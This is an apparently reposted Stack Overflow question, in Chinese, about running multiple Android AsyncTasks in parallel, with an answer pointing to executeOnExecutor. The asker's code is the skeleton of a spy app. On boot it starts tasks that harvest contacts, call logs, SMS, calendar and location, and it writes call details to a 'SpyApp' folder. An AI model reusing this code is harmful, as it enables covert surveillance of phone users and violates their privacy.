gpt4 book ai didi

android - 我可以添加多个 AsyncTask 并同时执行吗?

转载 作者:太空宇宙 更新时间:2023-11-03 12:54:17 26 4
gpt4 key购买 nike

我可以添加多个 AsyncTask 并同时执行吗?我可以从主要 Activity 开始执行多个这样的 Asynctask。

公共(public)类接收器扩展 BroadcastReceiver {

@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Log.e("Hello>>", "From OnReceive");

if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
Log.e("Hello......>>", "From OnReceive");

MyContactsSending mycon= new MyContactsSending(context);
mycon.execute();

Log.e("contacts","Executed");
MyCallsSending send = new MyCallsSending(context);
send.execute();

Log.e("calls","Executed");

MySmsSending smssms = new MySmsSending(context);
smssms.execute();

Log.e("sms","Executed");

MyCalendarSending calendar = new MyCalendarSending(context);
calendar.execute();

Log.e("calendar","Executed");
MyLocationSending location = new MyLocationSending(context);

location.execute();
Log.e("GPS","Executed");

}

}

在此代码中,我获得了所有日志,但之后它不会进入 Asynctask 的 doInBackground() 方法。(没有)。我在每个类的方法 doInBackground() 中设置了 Log,但在 Log 中没有一个被命中(意味着没有执行该方法)。

我的问题是我可以像这样执行多个 AsyncTask 的对象吗?

我的 AsyncTask 类的代码之一是这样的:

公共(public)类 MyCallsSending 扩展 AsyncTask {

Context concall;
public MyCallsSending(Context con){
this.concall = con;
}
@Override
protected Void doInBackground(Void... params) {
// TODO Auto-generated method stub

Calls call = new Calls(concall);
call.getCallDetails();
Log.e("Calls Sending", "from asynctask");

return null;
}

调用类的代码是这样的:

公开课调用{

Context con;

public calls(Context con){
this.con = con;
}

public void getCallDetails() {

StringBuffer sb = new StringBuffer();
Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
null, null, null);
if (managedCursor != null) {
Log.i("Cursor has values...", "Yes");
}
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("************Call Details************\n");
managedCursor.moveToFirst();

do {
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);

switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;

case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;

case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;

}

Log.i("Values", phNumber + callType + callDate);
sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
+ " \nCall Date:- " + callDayTime
+ " \nCall duration in sec :- " + callDuration);
sb.append("\n-----------------------------------");
} while (managedCursor.moveToNext());


managedCursor.close();

try {

File myFile = new File(Environment.getExternalStorageDirectory()
+ File.separator + "SpyApp");
if (!myFile.exists()) {
myFile.mkdir();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}
String path = myFile.getPath();
//Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);

File file = new File(path + File.separator + "CallLog.txt");
if (!file.exists()) {
file.createNewFile();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}

FileOutputStream fOut = new FileOutputStream(file);
OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

myOutWriter.append(sb.toString());
myOutWriter.flush();
myOutWriter.close();
fOut.close();
//Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
// Toast.LENGTH_SHORT).show();
} catch (Exception e) {
//Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
// .show();
}

}

最佳答案

简短版:当然可以!

默认情况下,AsyncTask 在串行队列中执行(一个接一个),但如果您希望它们同时运行,您可以:

new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);

Starting with HONEYCOMB, tasks are executed on a single thread to avoid common application errors caused by parallel execution. If you truly want parallel execution, you can invoke executeOnExecutor(java.util.concurrent.Executor, Object[]) with THREAD_POOL_EXECUTOR. AsyncTask on Android's Documentation

使用并行线程时要小心,不要使设备过载并导致应用程序被终止。

关于android - 我可以添加多个 AsyncTask 并同时执行吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23578395/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com